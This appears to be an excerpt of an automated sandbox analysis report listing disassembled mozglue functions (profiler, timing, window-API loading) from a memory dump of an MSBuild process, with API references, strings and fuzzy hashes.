Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: b93cb81a93900048ba0a22f818efeff25da8c0f695659025249346ee29f88efa
Instruction ID: ac07e9d22f7f1a699a6e846f022b91152db48bc9ba0bef77d28afd13a2f03377
Opcode Fuzzy Hash: b93cb81a93900048ba0a22f818efeff25da8c0f695659025249346ee29f88efa
Instruction Fuzzy Hash: B0C19031F003188BDB14CFA9C8907DEB7B6AB88318F154529D445ABB80DB75AD49CFE2

Function 6C3D545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C3D8A4B

Strings

~q6l, xrefs: 6C3D5703, 6C3D9269, 6C3D56C7, 6C3D921F, 6C3D5740, 6C3D9459, 6C3D948F

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: memset
String ID: ~q6l
API String ID: 2221118986-848279250
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 1d86e99a14dd66369273e6361c7924255cfe96006970fa450f7439d02e3b7170
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 76B1D773E0121A8FDB14CF68CC90799B7B6EF85314F1902A9D589DB781D730A989CF91

Function 6C3D542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C3D88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C3D925C

Strings

~q6l, xrefs: 6C3D5703, 6C3D9269, 6C3D56C7, 6C3D921F, 6C3D5740, 6C3D9459, 6C3D948F

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: memset
String ID: ~q6l
API String ID: 2221118986-848279250
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 8d85f12b222a185555f64b0b6e16d265ab9f20734aaa5d2d865739a600728755
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 4BB1C573E0120A8BCB14CF68CC916ADB7B6EF85314F1502A9C949EB785D730B989CF91

Function 6C3B77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C3B7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C3B7A93

Part of subcall function 6C385C50: GetTickCount64.KERNEL32 ref: 6C385D40
Part of subcall function 6C385C50: EnterCriticalSection.KERNEL32(6C3EF688), ref: 6C385D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C3B7AA1

Part of subcall function 6C385C50: __aulldiv.LIBCMT ref: 6C385DB4
Part of subcall function 6C385C50: LeaveCriticalSection.KERNEL32(6C3EF688), ref: 6C385DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C3B7B31

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: b17410e5853644ba81f1c419978d1bd03367c9c24a55c0e5326e9ad0f4ced586
Instruction ID: 29ec1d1cafef66154322d3951bfb4d89f765f488b9503fba9e32dae48a583e5b
Opcode Fuzzy Hash: b17410e5853644ba81f1c419978d1bd03367c9c24a55c0e5326e9ad0f4ced586
Instruction Fuzzy Hash: 88B18C356083808BCB14CE24C45069FB7E2ABDA318F154A1DE995B7B91DB71E90ACF93

Function 6C3CB700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6C3CB720
RtlNtStatusToDosError.NTDLL ref: 6C3CB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6C39FE3F,00000000,00000000,?,?,00000000,?,6C39FE3F), ref: 6C3CB760

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 312883771bb35e1caa60d0d6330b55954427ea6d2c71c3bc392adcb0f5ad1707
Instruction ID: c32b099d71c9ee4a633ae1fbb4fe838368068110da841a79ead9b6eea8274db2
Opcode Fuzzy Hash: 312883771bb35e1caa60d0d6330b55954427ea6d2c71c3bc392adcb0f5ad1707
Instruction Fuzzy Hash: 35F0C8B1A0020DAEDF119AA1DC84BDF77BD9F0431DF105129D951695C0D778A9DCCEA2

Function 6C3C55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C39E1A5), ref: 6C3C5606
LoadLibraryW.KERNEL32(gdi32,?,6C39E1A5), ref: 6C3C560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C3C5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C3C563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C3C566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C3C567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C3C5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C3C56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C3C56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C3C56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C3C56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C3C5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C3C572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C3C5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C3C5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C3C577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C3C5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C3C57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C3C57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C3C57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C3C57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C3C57FF

Strings

ReleaseDC, xrefs: 6C3C5742
user32, xrefs: 6C3C5601
GetWindowDC, xrefs: 6C3C5710
LoadIconW, xrefs: 6C3C575B
gdi32, xrefs: 6C3C560A
DeleteObject, xrefs: 6C3C57F9
EnableNonClientDpiScaling, xrefs: 6C3C5666
SetWindowPos, xrefs: 6C3C56F7
GetThreadDpiAwarenessContext, xrefs: 6C3C562D
SetWindowLongPtrW, xrefs: 6C3C57B7
StretchDIBits, xrefs: 6C3C57CC
ShowWindow, xrefs: 6C3C56DE
AreDpiAwarenessContextsEqual, xrefs: 6C3C5637
GetDpiForWindow, xrefs: 6C3C5690
FillRect, xrefs: 6C3C5729
RegisterClassW, xrefs: 6C3C56AC
GetMonitorInfoW, xrefs: 6C3C57A2
LoadCursorW, xrefs: 6C3C5774
MonitorFromWindow, xrefs: 6C3C578D
CreateWindowExW, xrefs: 6C3C56C5
GetSystemMetricsForDpi, xrefs: 6C3C5677
CreateSolidBrush, xrefs: 6C3C57E4

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: b720fe811402d0550ebbb8f464b3072de3ecdbcd24094f4d7b8616215b0db832
Instruction ID: e1cfc7cd13bb7bdbc2e81e4ff30683a3a13704a52a4d6c4de058eca1329d9db7
Opcode Fuzzy Hash: b720fe811402d0550ebbb8f464b3072de3ecdbcd24094f4d7b8616215b0db832
Instruction Fuzzy Hash: EE51A3717017169BDF619F34AD8492B3AFCAB4E248710442BE821E6A52EFB6CC00DF65

Function 6C3ACC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C37582D), ref: 6C3ACC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C37582D), ref: 6C3ACC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C3DFE98,?,?,?,?,?,6C37582D), ref: 6C3ACC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C37582D), ref: 6C3ACC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C37582D), ref: 6C3ACC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C37582D), ref: 6C3ACC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C37582D), ref: 6C3ACCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C3ACCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C3ACCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C3ACCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C3ACCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C3ACD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C3ACD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C3ACD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C3ACDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C3ACDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C3ACDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C3ACDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C3ACE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C3ACE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C3ACE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C3ACE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C3ACE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C3ACE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C3ACE8A

Strings

ipcmessages, xrefs: 6C3ACDBE
audiocallbacktracing, xrefs: 6C3ACDD4
markersallthreads, xrefs: 6C3ACE42
java, xrefs: 6C3ACC37
preferencereads, xrefs: 6C3ACD92
screenshots, xrefs: 6C3ACCD4
nostacksampling, xrefs: 6C3ACD7C
stackwalk, xrefs: 6C3ACCF8
samplingallthreads, xrefs: 6C3ACE2C
Unrecognized feature "%s"., xrefs: 6C3ACEA0
fileio, xrefs: 6C3ACC92
leaf, xrefs: 6C3ACC66
fileioall, xrefs: 6C3ACCA8
seqstyle, xrefs: 6C3ACCE6
mainthreadio, xrefs: 6C3ACC7C
processcpu, xrefs: 6C3ACE6E
power, xrefs: 6C3ACE84
jsallocations, xrefs: 6C3ACD0E
unregisteredthreads, xrefs: 6C3ACE58
nativeallocations, xrefs: 6C3ACDA8
notimerresolutionchange, xrefs: 6C3ACE00
cpuallthreads, xrefs: 6C3ACE16
default, xrefs: 6C3ACC21
noiostacks, xrefs: 6C3ACCBE

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 68a19afe6826f14ee16ef85af12477fc4706cc0e09e1df09ec7f5c6bc9d5dc11
Instruction ID: 243af48f11d50d4be5e987fa116b41be421edb80e882baad88701b7c3f0ba01d
Opcode Fuzzy Hash: 68a19afe6826f14ee16ef85af12477fc4706cc0e09e1df09ec7f5c6bc9d5dc11
Instruction Fuzzy Hash: A651A5D290522512FB0432D53D10BAA3508EB5724AF154136ED4AB5E80FF0FB62B8EB7

Function 6C3747C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C374801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C374817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C37482D
__Init_thread_footer.LIBCMT ref: 6C37484A

Part of subcall function 6C39AB3F: EnterCriticalSection.KERNEL32(6C3EE370,?,?,6C363527,6C3EF6CC,?,?,?,?,?,?,?,?,6C363284), ref: 6C39AB49
Part of subcall function 6C39AB3F: LeaveCriticalSection.KERNEL32(6C3EE370,?,6C363527,6C3EF6CC,?,?,?,?,?,?,?,?,6C363284,?,?,6C3856F6), ref: 6C39AB7C

GetCurrentThreadId.KERNEL32 ref: 6C37485F
GetCurrentThreadId.KERNEL32 ref: 6C37487E
AcquireSRWLockExclusive.KERNEL32(6C3EF4B8), ref: 6C37488B
free.MOZGLUE(?), ref: 6C37493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C374956
free.MOZGLUE(00000000), ref: 6C374960
ReleaseSRWLockExclusive.KERNEL32(6C3EF4B8), ref: 6C37499A

Part of subcall function 6C39AB89: EnterCriticalSection.KERNEL32(6C3EE370,?,?,?,6C3634DE,6C3EF6CC,?,?,?,?,?,?,?,6C363284), ref: 6C39AB94
Part of subcall function 6C39AB89: LeaveCriticalSection.KERNEL32(6C3EE370,?,6C3634DE,6C3EF6CC,?,?,?,?,?,?,?,6C363284,?,?,6C3856F6), ref: 6C39ABD1

free.MOZGLUE(?), ref: 6C3749C6
free.MOZGLUE(?), ref: 6C3749E9

Part of subcall function 6C385E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C385EDB
Part of subcall function 6C385E90: memset.VCRUNTIME140(ew<l,000000E5,?), ref: 6C385F27
Part of subcall function 6C385E90: LeaveCriticalSection.KERNEL32(?), ref: 6C385FB2

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C3747FC
MOZ_PROFILER_SHUTDOWN, xrefs: 6C374A42
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C374828
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C374812
[I %d/%d] profiler_shutdown, xrefs: 6C374A06

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: fa047c6d2f846dbddaa3b9e2726f95004f478ec357f351aca719f8f7cec34fef
Instruction ID: ee15cad6a036d91bf16a62160634c251c026889acdc731cac1c88fc6311905c8
Opcode Fuzzy Hash: fa047c6d2f846dbddaa3b9e2726f95004f478ec357f351aca719f8f7cec34fef
Instruction Fuzzy Hash: 5881E471A00210CBDB70DF68E88475A3779AF4A31CF140226D91697B41E77AF954CFBA

Function 6C374470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C374730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C3744B2,6C3EE21C,6C3EF7F8), ref: 6C37473E
Part of subcall function 6C374730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C37474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C3744BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C3744D2
InitOnceExecuteOnce.KERNEL32(6C3EF80C,6C36F240,?,?), ref: 6C37451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C37455C
LoadLibraryW.KERNEL32(?), ref: 6C374592
InitializeCriticalSection.KERNEL32(6C3EF770), ref: 6C3745A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C3745AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C3745BB
InitOnceExecuteOnce.KERNEL32(6C3EF818,6C36F240,?,?), ref: 6C374612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C374636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C374644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C37466D
VerSetConditionMask.NTDLL ref: 6C37469F
VerSetConditionMask.NTDLL ref: 6C3746AB
VerSetConditionMask.NTDLL ref: 6C3746B2
VerSetConditionMask.NTDLL ref: 6C3746B9
VerSetConditionMask.NTDLL ref: 6C3746C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C3746CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C3746F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C3746FD

Strings

WRusr.dll, xrefs: 6C3744B5
G>l, xrefs: 6C3744FC
l, xrefs: 6C374578
user32.dll, xrefs: 6C374557, 6C37463F
kernel32.dll, xrefs: 6C3744CD
NativeNtBlockSet_Write, xrefs: 6C3746F7

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: G>l$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-2855043714
Opcode ID: 07127da9cb1f223a3fd6c1821b21a9bcfc5566f525f33ba76703f954477f784b
Instruction ID: bf76337b3e2314fc83c4ed48314076de93957c8be013f9fd6391ca3cf1459d12
Opcode Fuzzy Hash: 07127da9cb1f223a3fd6c1821b21a9bcfc5566f525f33ba76703f954477f784b
Instruction Fuzzy Hash: 796136B0600344AFEB319F61EC09B957BBCEB8E30CF04845AE5049B641D7B9AA44CFB5

Function 6C3AE8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C3A7090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6C3AB9F1,?), ref: 6C3A7107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C3ADCF5), ref: 6C3AE92D
GetCurrentThreadId.KERNEL32 ref: 6C3AEA4F
AcquireSRWLockExclusive.KERNEL32(6C3EF4B8), ref: 6C3AEA5C
ReleaseSRWLockExclusive.KERNEL32(6C3EF4B8), ref: 6C3AEA80
GetCurrentThreadId.KERNEL32 ref: 6C3AEA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C3ADCF5), ref: 6C3AEA92
GetCurrentThreadId.KERNEL32 ref: 6C3AEB11
AcquireSRWLockExclusive.KERNEL32(6C3EF4B8), ref: 6C3AEB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6C3AEB3C
ReleaseSRWLockExclusive.KERNEL32(6C3EF4B8), ref: 6C3AEB5B

Part of subcall function 6C3A5710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C3AEB71), ref: 6C3A57AB

Part of subcall function 6C39CBE8: GetCurrentProcess.KERNEL32(?,6C3631A7), ref: 6C39CBF1
Part of subcall function 6C39CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3631A7), ref: 6C39CBFA

Part of subcall function 6C3A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C374A68), ref: 6C3A945E
Part of subcall function 6C3A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C3A9470
Part of subcall function 6C3A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C3A9482
Part of subcall function 6C3A9420: __Init_thread_footer.LIBCMT ref: 6C3A949F

GetCurrentThreadId.KERNEL32 ref: 6C3AEBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6C3AEBAC

Part of subcall function 6C3A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3A94EE
Part of subcall function 6C3A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C3A9508

GetCurrentThreadId.KERNEL32 ref: 6C3AEBC1
AcquireSRWLockExclusive.KERNEL32(6C3EF4B8,?,?,00000000), ref: 6C3AEBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6C3AEBE5
ReleaseSRWLockExclusive.KERNEL32(6C3EF4B8,00000000), ref: 6C3AEC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C3AEC46
CloseHandle.KERNEL32(?), ref: 6C3AEC55
free.MOZGLUE(00000000), ref: 6C3AEC5C

Strings

[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6C3AEA9B
[I %d/%d] profiler_start, xrefs: 6C3AEBB4

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: 62606cab1d61320eaa58fedd00245add7a81ba785cd3dbbb5fd0faf08596f9a3
Instruction ID: 4997cdb21b9d9141eefc1c6129db3c18fa21f8d721c8cbb5bda7ce9301b20688
Opcode Fuzzy Hash: 62606cab1d61320eaa58fedd00245add7a81ba785cd3dbbb5fd0faf08596f9a3
Instruction Fuzzy Hash: 66A12831700304DFDB609F98E444BA677B9EF8E318F11402BE9599BB50DB729826CFA5

